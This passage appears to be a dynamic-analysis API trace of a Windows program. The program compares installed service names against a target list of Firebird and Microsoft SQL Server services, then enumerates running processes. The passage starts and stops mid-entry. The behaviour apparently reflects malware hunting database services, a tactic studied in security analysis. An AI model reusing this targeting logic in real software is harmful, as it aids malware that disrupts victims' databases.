(lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0135.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0135.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0135.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0135.171] lstrlenW (lpString="LanmanWorkstation") returned 17 [0135.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0135.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0135.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0135.171] lstrlenW (lpString="lfsvc") returned 5 [0135.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0135.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0135.171] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0135.171] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0135.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0135.171] lstrlenW (lpString="lmhosts") returned 7 [0135.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0135.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0135.171] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0135.171] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0135.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0135.171] lstrlenW (lpString="LSM") returned 3 [0135.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0135.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0135.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0135.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0135.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0135.171] lstrlenW (lpString="MapsBroker") returned 10 [0135.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0135.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0135.171] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0135.171] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0135.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0135.172] lstrlenW (lpString="MpsSvc") returned 6 [0135.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0135.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0135.172] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0135.172] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0135.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0135.172] lstrlenW (lpString="NcbService") returned 10 [0135.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0135.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0135.172] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0135.172] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0135.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0135.172] lstrlenW (lpString="netprofm") returned 8 [0135.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0135.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0135.172] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0135.172] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0135.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0135.172] lstrlenW (lpString="NlaSvc") returned 6 [0135.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0135.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0135.172] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0135.172] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0135.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0135.172] lstrlenW (lpString="nsi") returned 3 [0135.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0135.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0135.172] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0135.172] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0135.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0135.172] lstrlenW (lpString="PcaSvc") returned 6 [0135.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0135.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0135.172] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0135.172] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0135.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0135.172] lstrlenW (lpString="PlugPlay") returned 8 [0135.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0135.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0135.173] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0135.173] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0135.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0135.173] lstrlenW (lpString="Power") returned 5 [0135.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0135.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0135.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0135.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0135.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0135.173] lstrlenW (lpString="ProfSvc") returned 7 [0135.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0135.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0135.173] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0135.173] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0135.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0135.173] lstrlenW (lpString="RpcEptMapper") returned 12 [0135.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0135.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0135.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0135.173] lstrlenW (lpString="RpcSs") returned 5 [0135.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0135.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0135.173] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0135.173] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0135.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0135.173] lstrlenW (lpString="SamSs") returned 5 [0135.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0135.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0135.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0135.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0135.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0135.173] lstrlenW (lpString="Schedule") returned 8 [0135.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0135.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0135.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0135.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0135.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0135.174] lstrlenW (lpString="SecurityHealthService") returned 21 [0135.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0135.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0135.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0135.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0135.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0135.174] lstrlenW (lpString="SENS") returned 4 [0135.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0135.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0135.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0135.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0135.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0135.174] lstrlenW (lpString="ShellHWDetection") returned 16 [0135.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.174] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0135.174] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0135.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0135.174] lstrlenW (lpString="Spooler") returned 7 [0135.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0135.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0135.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0135.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0135.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0135.174] lstrlenW (lpString="SSDPSRV") returned 7 [0135.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0135.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0135.174] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0135.174] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0135.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0135.174] lstrlenW (lpString="StateRepository") returned 15 [0135.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0135.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0135.175] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0135.175] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0135.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0135.175] lstrlenW (lpString="SysMain") returned 7 [0135.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0135.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0135.175] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0135.175] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0135.175] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0135.175] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x109c [0135.179] Process32FirstW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.180] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.181] lstrlenW (lpString="System") returned 6 [0135.181] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.181] lstrlenW (lpString="smss.exe") returned 8 [0135.181] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.182] lstrlenW (lpString="csrss.exe") returned 9 [0135.182] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.185] lstrlenW (lpString="wininit.exe") returned 11 [0135.185] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.185] lstrlenW (lpString="csrss.exe") returned 9 [0135.185] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0135.186] lstrlenW (lpString="winlogon.exe") returned 12 [0135.186] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0135.187] lstrlenW (lpString="services.exe") returned 12 [0135.187] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0135.188] lstrlenW (lpString="lsass.exe") returned 9 [0135.188] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.188] lstrlenW (lpString="svchost.exe") returned 11 [0135.188] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0135.189] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0135.189] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0135.190] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0135.190] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.191] lstrlenW (lpString="svchost.exe") returned 11 [0135.191] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0135.191] lstrlenW (lpString="dwm.exe") returned 7 [0135.191] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.192] lstrlenW (lpString="svchost.exe") returned 11 [0135.192] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.193] lstrlenW (lpString="svchost.exe") returned 11 [0135.193] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.193] lstrlenW (lpString="svchost.exe") returned 11 [0135.193] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.194] lstrlenW (lpString="svchost.exe") returned 11 [0135.194] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.195] lstrlenW (lpString="svchost.exe") returned 11 [0135.195] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.195] lstrlenW (lpString="svchost.exe") returned 11 [0135.195] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.196] lstrlenW (lpString="svchost.exe") returned 11 [0135.196] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.197] lstrlenW (lpString="svchost.exe") returned 11 [0135.197] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.198] lstrlenW (lpString="svchost.exe") returned 11 [0135.198] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0135.198] lstrlenW (lpString="spoolsv.exe") returned 11 [0135.198] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.199] lstrlenW (lpString="svchost.exe") returned 11 [0135.199] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.200] lstrlenW (lpString="svchost.exe") returned 11 [0135.200] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0135.200] lstrlenW (lpString="audiodg.exe") returned 11 [0135.200] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0135.201] lstrlenW (lpString="sihost.exe") returned 10 [0135.201] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.202] lstrlenW (lpString="svchost.exe") returned 11 [0135.202] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0135.205] lstrlenW (lpString="taskhostw.exe") returned 13 [0135.205] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0135.206] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0135.206] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0135.206] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0135.206] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0135.207] lstrlenW (lpString="explorer.exe") returned 12 [0135.207] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0135.208] lstrlenW (lpString="Memory Compression") returned 18 [0135.208] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0135.208] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0135.208] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0135.209] lstrlenW (lpString="SearchUI.exe") returned 12 [0135.209] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0135.210] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0135.210] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0135.210] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0135.210] Process32NextW (in: hSnapshot=0x109c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, 